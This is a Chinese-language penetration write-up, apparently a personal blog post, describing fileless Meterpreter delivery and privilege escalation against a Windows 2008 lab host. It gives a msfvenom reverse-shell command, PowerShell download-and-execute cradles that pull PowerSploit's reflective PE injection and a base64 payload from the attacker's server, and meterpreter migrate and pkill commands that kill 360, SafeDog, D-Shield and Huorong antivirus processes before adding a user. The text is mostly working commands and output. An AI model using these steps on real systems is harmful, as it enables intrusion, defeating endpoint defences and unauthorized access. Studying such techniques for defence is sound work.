記一次PowerShell配合Metersploit的艱難提權
0x01 環境準備
kali(模擬公網攻擊機)
Windows2008(靶機,裝有360、火絨、安全狗、D盾)
Powersploit(PowerShell攻擊框架)
https://github.com/PowerShellMafia/PowerSploit
0x02 嘗試落地payload
首先msfvenom生成exe后門程序
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe
Python3開啟http下載服務
python3 -m http.server
msf開啟監聽

執行powershell命令時被火絨攔截
(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")

0x03 PowerShell內存執行exe
這也是現在紅軍非常流行的攻擊手法,payload在內存中加載執行,也就是所謂的文件不落地,大致分以下幾步
- 先將生成的payload在本地進行base64編碼
- 靶機執行遠程下載命令
- 靶機對payload進行解碼并賦值給一個變量
- PowerShell遠程加載Invoke-ReflectivePEInjection模塊(PE反射注入)并執行payload
本地編碼payload
PowerShell下執行
function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String; }
Convert-BinaryToString C:\6666.exe > C:\res.txt
將res.txt放置到kali中的下載服務目錄,供靶機加載

接下來遠程加載Powersploit的PE反射模塊
iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")
繼續加載base64編碼后的payload,賦值給一個變量
$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")
靶機解碼payload
$PEBytes = [System.Convert]::FromBase64String($InputString)
反射調用
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

msf成功上線,全程沒有任何文件落地,比較成功地避開了殺軟對磁盤的查殺

0x04 艱難的后滲透攻擊
先看一下進程,Windows下,我個人比較中意svchost.exe這個進程,注入率比較高,而且又是system權限,先來試試吧
ps -ef | grep svchost.exe

成功提權
migrate 336

當我準備添加用戶的時候,被360的ZhuDongFangYu.exe進程攔截,接下來就是想辦法干掉360、火絨、D盾、安全狗的主動防御系統

0x05 Kill主動防御
因為現在是system權限,所以優先嘗試kill、pkill這兩條命令。經過fuzz,得出以下幾點結論
- D盾可直接Kill掉
- 360、安全狗Kill掉后,30秒后會再次重啟
- 火絨權限不夠,無法直接Kill
meterpreter > pkill ZhuDongFangYu.exe Filtering on 'ZhuDongFangYu.exe' Killing: 6056 meterpreter > pkill SafeDogGuardCenter.exe Filtering on 'SafeDogGuardCenter.exe' Killing: 5752 meterpreter > pkill HipsTray.exe Filtering on 'HipsTray.exe' Killing: 7416 [-] stdapi_sys_process_kill: Operation failed: Access is denied. meterpreter >

0x06 單換殺軟的男人
因為360的權限是比較高的,且我現在是system權限,就像嘗試注入一下360的主動防御進程,竟然成功了!

這一下我直接好家伙,先把SafeDog干掉
ps -ef | Safepkill Safe

來靶機上看一下,發現安全狗的主進程都被干掉了,360還是狠啊

當我嘗試殺死火絨的進程時,被火絨反殺了,也就是說,火絨把360的主動防御干掉了,可想而知它的權限得多大

重連一次shell后,我嘗試注入360主動防御,殺死所有360的程序,成功拿下!

這時候還有一個ZhuDongFangYu.exe沒殺,所以我們再注入回svchost.exe用它去殺死360的主動防御,這次殺死后就不會再生了,因為主程序已經被它干死了哈哈哈

現在就剩下火絨了,我進入shell,嘗試用taskkill干掉他的時候,發現了一個有意思的提示

火絨的父進程是service.exe,那么如果我注入到service.exe中,用service.exe殺Hips*.exe不過分吧?老子打兒子總沒毛病了吧?
結果讓我很滿意哈哈哈哈哈

成功添加用戶,遺憾的是沒有添加到管理員組,這次艱難的后滲透,就先到這兒吧
